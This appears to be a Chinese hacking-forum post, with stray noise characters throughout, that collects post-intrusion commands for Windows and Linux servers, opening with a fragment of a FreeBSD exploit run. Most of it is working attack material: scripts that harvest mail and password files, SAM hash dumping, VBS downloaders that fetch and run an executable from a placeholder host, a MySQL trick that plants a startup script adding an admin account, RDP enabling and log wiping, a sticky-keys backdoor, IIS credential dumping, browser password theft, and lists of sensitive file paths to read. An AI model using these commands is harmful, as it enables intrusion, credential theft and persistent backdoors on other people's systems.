4 N% N4 u: r8 j/ k* L  d/ `2 k* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
$ }" I* u0 L+ t' d+ |0 F* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* e9 ?4 I6 y# D/ O+ T( D* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
4 ~  f- w' k# A& A+ Y) n* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

1 W$ ]5 Q# j! Z" d0 G# w7 F( A（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
9 i  N8 _0 e! t6 f  c: \感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
0 X5 G6 U/ d! I( a————————————————————————————
, t9 v, L+ i5 V1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
2 C9 s. n+ t3 talzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
( A3 c, y( h# W# Y# `% W! I0 C{
! C6 G4 @8 A/ e6 o1 q4 v$ A注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
" f( w6 j0 ]% S1 K1 q3 l+ Q9 ]: p若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
$ k! G4 j8 R! P' ?9 n6 Z9 t7 w}  
" l' }' d/ y4 ?( H+ J2 s
提权先执行systeminfo
7 S. i8 e- K# Z7 Q+ etoken 漏洞补丁号 KB956572
/ P6 C$ l- a& k9 Z* W% bChurrasco          kb952004
命令行RAR打包~~·
% |3 |. \  I; K: @: ]$ e! Rrar a -k -r -s -m3 c:\1.rar c:\folder
* B. p  W. u. o+ n  |——————————————
* F0 |, `6 S: Q( x/ G0 y. w2、收集系统信息的脚本  
for window：
# F$ G0 j/ }( s  U5 o4 u
@echo off
echo #########system info collection
systeminfo
ver
$ P/ b% Z5 U/ Q$ |; r0 }hostname
% v9 x2 x% x& I) J' Hnet user
net localgroup
/ w% [6 K2 ~, y0 {7 H$ xnet localgroup administrators
net user guest
6 c8 S' a+ A  S, Inet user administrator

echo #######at- with   atq#####
/ ^+ [( v( V9 B$ u3 H( lecho schtask /query
+ W% O* g8 p+ I; k& L. S
) _% B. k0 y* C& G  f- b) \echo
' }0 i' g" h3 `9 I6 |/ ~echo ####task-list#############
/ y( ~$ w/ i% D+ btasklist /svc
6 X; D( z* O; Y3 L9 Vecho
' L2 X  k  {- h5 x3 [3 ]# jecho ####net-work infomation
& s3 g: Z& o% a8 [. `% Aipconfig/all
route print
7 O1 _$ P1 L! {' l: ]3 Xarp -a
netstat -anipconfig /displaydns
& Y% q; f' i) Techo
echo #######service############
sc query type= service state= all
) A8 h  c" t" I% n* W. ]echo #######file-##############
: ]# m9 U" V. s5 ]" e7 Kcd \
  c  f& I  U2 j) ^2 B6 E9 v7 U7 Xtree -F
" k; Z1 ~0 N8 n3 h/ Rfor linux：

#!/bin/bash

$ Q8 }4 K' w& U0 j1 m, ~echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
4 F. d5 v+ Y. A5 ^6 k2 u9 \* S7 C( ?3 Ucat /proc/meminfo
5 @* l( v0 z3 u( |: X" aecho
3 e! s$ W* ^9 Pcat /proc/cpuinfo
1 Z& @% u9 v* ^) Becho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
) m- Z4 N) n) ^: _2 f- R& M$ }' r! a

echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
3 Y4 ~1 {+ X# ~4 r! ]6 Q. Cset
$ [$ j! j1 t$ `
echo #####about network###
6 }' [5 H2 H) W  U6 d5 [- I+ B####this is then point in pentest,but i am a new bird,so u need to add some in it
9 z8 I! ~0 n4 P5 wcat /etc/hosts
hostname
% g5 X' d) @" [# T$ N* e1 z5 Lipconfig -a
: {" Y  B( ^3 _% Q, xarp -v
echo ########user####
cat /etc/passwd|grep -i sh

' f4 l& W* ?- `: d: k; k8 Jecho ######service####
' U! k8 p" e5 J- b( i( Z& [chkconfig --list
; ]- Y; |: a2 w% W  ~, n. b! O
, x; l2 F$ W# z8 A/ z( ~for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
' l3 S5 f9 ~5 D0 d4 ~" [+ T: x4 C: Ydone
2 \) N# V. x9 y9 S6 z+ ?
' k7 P, B: O. u8 V, P" Dlocate passwd >/tmp/password 2>/dev/null
sleep 5
: r* @# j* M1 `2 U% L: V# K6 Plocate password >>/tmp/password 2>/dev/null
7 T7 s% l& y/ [* _1 R3 bsleep 5
. K& X) u2 T" ?9 a* t3 C& G) }locate conf >/tmp/sysconfig 2>dev/null
" @; @2 F( @/ U  N, x! b  B% Vsleep 5
2 {& R7 L$ `9 ]0 B- g; b" Zlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
. V' X2 D4 m: c- b1 W/ p1 E4 H
###maybe can use "tree /"###
$ r* _9 {' l3 [0 U' ^! m) }3 \echo ##packing up#########
+ O* s  `/ Z/ r, z- X' N7 etar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
+ N+ |9 W7 G7 ~3 \9 F——————————————
' X! G0 M7 t% S+ W; ~9 v2 e' J5 c3 k3、ethash 不免杀怎么获取本机hash。
: a& Q! s1 d- a6 a. B. q; I6 E% S* N首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
4 ]: L; w8 G! e% @5 V& u( }注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
% ~! l: r$ a; `) j- n2 V  }hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
# A* r2 O- j' S6 m; d0 i——————————————
9 ?. F# o$ n: L4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
$ R" ~; e' p7 ]) `$ wecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
* X- l9 R; q3 Z) g5 y2 L0 N- ?echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
' k5 c( m# ?7 g( n4 {0 yecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

8 c/ z1 [" s% N  D2
) `5 p4 M/ `- m% t. ~. h, eOn Error Resume Nextim iRemote,iLocal,s1,s2
! `6 V+ }5 ~) Q9 ]2 jiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
8 F, O% g, Q! ?; N' Cs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
  o  I, S* e- q2 p- x2 }- R
6 p& ?9 r8 _5 b6 W3 K! y/ Ccscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
9 p, b# A  ?% |6 s! [) N8 ]
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
2 J/ w9 H* x  V4 S& c! ^9 qREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
8 M# }1 J) C  hREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
2 H* C* Z# p# \2 k3 [REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
5 Q* P* [; D* U/ P& G1 _+ l4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
8 n5 \3 w9 `: g- w0 I( P/ v: |+ _7 TREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
% S: ]' d5 G4 r. z: V# j7 j9 j————————————————
1 w+ C$ ~9 i) z6 s) |6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
1 h! |, j7 z" @4 D* F% Z& b  Oinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
' a' }4 W* d3 t& w: _  w————————————————————
5 k8 X7 F4 d! `; f7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
/ x$ H9 M3 g, m9 F8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
/ |& W5 p4 h6 H$ A9 @4 B  
  for /d %i in (???) do @echo %i
) l6 ?. d* m. T, t) {% o
, h9 r, w; e$ x# b) }* y! S把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

; {8 X- a4 d, r1 J% Dfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
6 C. |5 k& s7 F4 T8 x7 F
' l) _% u- V/ L* [' Q3.for /f %i in (c:\1.txt) do echo %i
& b/ g3 h6 ]* q0 k. L8 k- X  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

9 I7 Q* ?; E2 E! D2 \  delims=后的空格是分隔符 tokens是取第几个位置
7 z5 `; A/ d4 }* w——————————
●注册表:
. t' Y5 Q8 x* y. p+ `1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
. O6 ~, B7 e2 \1 }8 |! [5 S
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

5 b, n4 A, K  g9 o0 h: n; h+ ~3.清除3389登录记录:
& M, W) {& W* q7 \; l) Y5 dreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
* u/ H( {- [1 M' s# ]8 S
5 G5 J9 J- m$ d; [; S2 {4.Radmin密码:
% N" `- ]1 m+ ?$ E. _3 oreg export HKLM\SYSTEM\RAdmin c:\a.reg

+ V% |8 i4 b3 W' A3 w5.禁用TCP/IP端口筛选(需重启):
/ m3 k/ k1 x7 U% NREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

4 F% U* D$ k. R1 S: C( E2 x  k6.IPSec默认免除项88端口(需重启):
( l2 k: T) ^5 }* y0 ]! J; |' }reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
" V* W* p5 T7 n8 F: F' Znetsh ipsec dynamic set config ipsecexempt value=0
8 I/ R, y% P# z) E3 v
7.停止指派策略"myipsec":
* v5 o$ v- r  q* b$ s3 ~netsh ipsec static set policy name="myipsec" assign=n
% E3 J, t& J2 R+ o5 M
8.系统口令恢复LM加密:
( o: P/ a4 u/ S  K1 K7 H- H3 rreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
' p. M; C: g( H- D9 m% ireg save hklm\security c:\security.hive

' m+ J+ |* E; d3 B: _# G; v10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
1 i/ [1 k, d# m% S" h% x; q星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
. P, w1 m7 ?( n; fchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
9 f6 Y, \& ?4 \6 Y: O) a/ wif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
. R" o6 S! M' g+ H6 Bif err.number<>0 then
* a$ O8 x5 A1 m' N0 A  Jexit for
1 t7 z  D; _4 S3 G& o& V0 ?) ymsgbox("error!")
5 s1 t1 s' ?5 i2 twscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
. B; |2 t# V, q" l$ ^$ ipass=iisweb.AnonymousUserPass
  p$ s3 K3 c6 M8 epath=IIsWeb.path
: x, T) h! c# V* E& H! D$ _list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
+ e$ `9 {$ i1 U) A. Jend if
Next
( y. p9 ^5 i1 B& f7 z4 _! W: I5 qwscript.echo list
- s% h3 i5 b& n& u$ rSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
, k: Q! ~: `/ ?! [- F: r+ [2 K1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
9 k- h# V. Y" J& B6 A$ l3 T2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
$ D* K- D# }0 f3 G7 x' @! @& q将folder.htt文件，加入以下代码：
# u; \0 B: w4 G! |* b<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
; R3 I8 Z6 o) f6 P3 z</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
+ ]' z9 k& B- z+ ?  q! I3 E 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
/ S. J8 @* U% n/ d9 T path_info可以直接呈现虚拟路径 顺利解析gif大马

* V7 X2 F) {5 Q; B==============================================================
& J- \7 j/ o$ f: H9 h% s( _  hLINUX常见路径：
0 G& ^2 A' N, u3 g7 S+ k! X6 I1 s
/etc/passwd
/etc/shadow
/etc/fstab
6 h) ?' G& T" L1 s" b! V/etc/host.conf
/etc/motd
/etc/ld.so.conf
& G) h2 R6 y6 G2 h9 f( ?5 {) g/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
' z! {* Q4 H4 z0 n  D3 `& M0 A/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
+ G. e6 K0 j% D/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
3 z2 p( b! i7 ?8 K/var/httpd/conf/php.ini
/var/www/index.html
0 G, |3 v2 v. c2 q& G/var/www/index.php
' C* `9 O7 [5 Y: N/opt/www/conf/httpd.conf
  W' P2 v3 p# ^/opt/www/htdocs/index.php
" V& |! \) M  i0 [1 Z; @1 V/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
; h" ^( l2 k8 u# q& c/usr/local/apache/htdocs/index.php
& F4 }7 ^) c2 D6 V7 Q! S/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
7 u, g! U  W9 c4 I" f% _/usr/local/httpd2.2/htdocs/index.php
& e4 T  A. q* X" M8 Q; d/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
6 V; E- E+ `6 i2 ]/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
" F( ^& C' s$ q  j/www/php5/php.ini
" N- x+ @2 [  z+ Q) r% A8 A: c/www/conf/httpd.conf
) D. i! s& q+ r- I) ?9 _/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
% x" V5 O. y7 g6 ~$ h/apache/apache/conf/httpd.conf
4 ]% A0 S; ]5 M. y/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
0 i* k4 ~5 U- R# [( O  E. E/etc/apache2/apache.conf
( o, f! w' Z4 v# M0 n( b: |! Z4 K* K/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
6 v; T0 \, D: j- p/etc/phpmyadmin/config.inc.php
2 l: E6 q, w; G7 W  u9 c/etc/mysql/my.cnf
' i; e* a% `2 o0 }7 {. {; o/etc/httpd/conf.d/php.conf
& U% M, \' d, t6 h) ?/etc/httpd/conf.d/httpd.conf
! G. M) \& h( h7 g$ _/ V/etc/httpd/logs/error_log
3 I3 F+ \9 O7 J/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
, J6 |9 D+ D- ]$ h  i4 ~, C/ N2 c/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
+ |( S8 |% F2 w$ P! t" D/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/ H% T& g9 l* P2 u/var/log/apache2/error_log
/ A7 S9 W6 z3 Z/var/log/apache2/error.log
0 {8 P) @- R* P! c7 G. c6 p/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/ Y7 }/ d5 f$ {% D5 o  H1 V/var/www/logs/error.log
& Z: {/ `& S0 U+ e  u* i+ ?# q/var/www/logs/access_log
/var/www/logs/access.log
5 e6 a8 {# ?. \* L  @/usr/local/apache/logs/error_log
4 j2 q. D/ F) C/usr/local/apache/logs/error.log
) ~% x- U' [' w$ w2 Y7 j' g! `/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
) k5 O5 H/ W7 m; ?; |/var/log/error.log
+ K% e0 v( q# y# G/ I/var/log/access_log
/var/log/access.log
, `; V- z0 o& ~9 v7 x: s9 @/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
) {* b5 ?$ C% |( l- {/etc/php.ini
& K4 P1 Z$ |2 {, c% q/bin/php.ini
( B' n6 z+ m# A' ~6 G' O: j/etc/init.d/httpd
1 J2 \* R/ l0 i$ f3 u7 `/etc/init.d/mysql
. R* `1 i# S5 J1 D- n9 W: j8 |: o/etc/httpd/php.ini
2 f7 U" j  _. M7 b+ \$ @3 |; }' H4 U/usr/lib/php.ini
8 `: x+ t8 L5 ]) a! T( R' Z; ^/usr/lib/php/php.ini
/usr/local/etc/php.ini
5 z. v4 p7 y7 s: M" L% n! Q/ [/usr/local/lib/php.ini
/ I4 f, p, Y" H" N/usr/local/php/lib/php.ini
: v" A9 c8 b' P; d! e; @/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
4 b/ [5 [, g6 p& N/usr/local/php4/lib/php.ini
4 R" F) t* G& G4 m3 `7 T  P/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
% a; p8 X5 x6 K! C+ ^: @3 F/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
8 S. d  `4 F' R! u( J/etc/php4.4/fcgi/php.ini
9 P, v& P( i* m/ T' y( b6 x/etc/php4/apache/php.ini
) _9 z  ]# l  l2 }) d' I/ ^1 Y/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
* W& o) X) `6 O# I, l/etc/php/apache2/php.ini
/web/conf/php.ini
0 z+ H) F  v+ W! Q/usr/local/Zend/etc/php.ini
- _) v6 W# g4 ?/ k( |0 P) \0 c  y/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
* O4 @: [8 {$ E2 V: j/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
5 d( v- n2 w/ ]# j! J2 z' K. ^/php4/php.ini
/php/php.ini
/PHP/php.ini
: @2 t* i8 i% R/ f2 }/apache/php/php.ini
/xampp/apache/bin/php.ini
% H. F+ A4 I' E6 h: b8 P/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
1 H7 K# I, M4 x# K3 t* r0 D9 D/var/log/mysql/mysql-bin.log
9 I5 f+ U+ x& f$ ]  E/var/log/mysql.log
- O' k7 _% P% Z/var/log/mysqlderror.log
% Z) S3 \' j5 F2 y; h/var/log/mysql/mysql.log
+ G' @; Z3 i6 x7 o3 [# U/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
4 F6 x/ m* [' h% g/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
! f2 c  |5 s) r$ |4 W/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
. C! B2 {4 d1 G( |$ ?/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
( H0 d( R& c" ^c:\1.txt
c:\a.txt
7 ?7 e8 N: P9 e+ r1 }
c:\CMailServer\config.ini
6 E* B$ ]# V% ]8 r6 q: D3 k2 J/ @c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
6 c6 s/ D3 T, j# Y2 _; _3 w" E! k/ @C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
( r" A5 q1 i, \& ^. q% uC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
. J& ?$ V, Q* e$ }) RC:\WINDOWS\7i24tool.exe

) n$ s( w* Y: ]( i# Gc:\hzhost\databases\url.asp
' W+ C  b7 i7 ]' |! t% W* x3 S5 u
$ a+ B) v% s0 g6 V; j6 D& Xc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

6 a" N$ p; Z. K* Q% t' H) MC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
- M4 Y9 z  }6 E: J) S. D" f7 Nc:\website\index.html
c:\web\index.asp
c:\www\index.asp
! A2 W5 I! @, ^$ S# Z6 zc:\wwwsite\index.asp
3 S# R2 c8 S  z: ac:\WWWROOT\index.asp
c:\web\index.php
* _1 }* n- X, H3 B, i- u$ O9 `c:\www\index.php
c:\WWWROOT\index.php
9 E8 T/ E7 |: \% K  f% i, I2 Fc:\WWWsite\index.php
7 F, |2 T: u* o5 T1 Mc:\web\default.html
8 U( b  g3 H$ w7 }# |  N' Pc:\www\default.html
, L' U# r# N4 J0 t/ o4 k* cc:\WWWROOT\default.html
c:\website\default.html
. p5 H) |. Z- Y  h5 g% ~. {c:\web\default.asp
c:\www\default.asp
( ]4 t# y# C' M: oc:\wwwsite\default.asp
5 @! X2 d  f4 R  t% nc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
; }( J4 v9 T* B& Nc:\WWWROOT\default.php
, I. v8 Q$ V; a) L7 z2 m# yc:\WWWsite\default.php
7 @, H1 s0 ~% E1 g6 \6 xC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
9 s' E8 [0 L7 e: EC:\Program Files\Microsoft Office\OFFICE10\winword.exe
" }/ y; y/ Z- J; OC:\Program Files\Microsoft Office\OFFICE11\winword.exe
2 Z4 f! w" k* h. m# FC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
/ P2 U7 T5 B+ g- y% x1 O* wC:\Program Files\360\360Safe\360safe.exe
3 M9 O0 y, \2 S9 L) E0 E% |& q( FC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
$ h2 C8 T# w6 I) W* O, e$ bC:\Program Files\Rising\Rav\RsTask.xml
! e, n3 q4 [9 Z  uC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
; Q" [9 \/ W$ Q4 c0 p3 O& X$ f5 HC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
1 x! U5 }- o& d# J2 h% cC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
3 p+ U5 o4 v, W! O( k& U* M' l& KC:\Documents and Settings\Administrator\My Documents\1.txt
3 A5 z" U' @4 V1 SC:\Documents and Settings\Administrator\桌面\1.txt
3 m4 H% S" E/ W0 y/ U+ Y0 d2 \! ?C:\Documents and Settings\Administrator\My Documents\a.txt
/ K) Q+ Q0 U) IC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
" P+ T& n4 _- e* C. y, ^# cC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
: y$ K" v1 j9 ]8 `' F) s( o5 E  E: |% hC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
9 z; l& n% A' M' f; u; @( ~7 b3 w! r) FC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
$ Y' @; y2 I4 W; Q5 VC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
) h/ G) v  B, FC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
* u' W7 E0 e$ s! g& pC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
  z3 `+ D* J( X# K6 W. m5 q! xc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
- r' }( ^# i/ ^( r) D9 ~) z7 q& zC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
1 v1 v& _/ F  J6 Z" L' d) p# v: \9 p* ?C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
4 [$ X1 a1 D5 `  x& {C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
9 e, ?6 f' Q# [C:\WINDOWS\system32\config\system
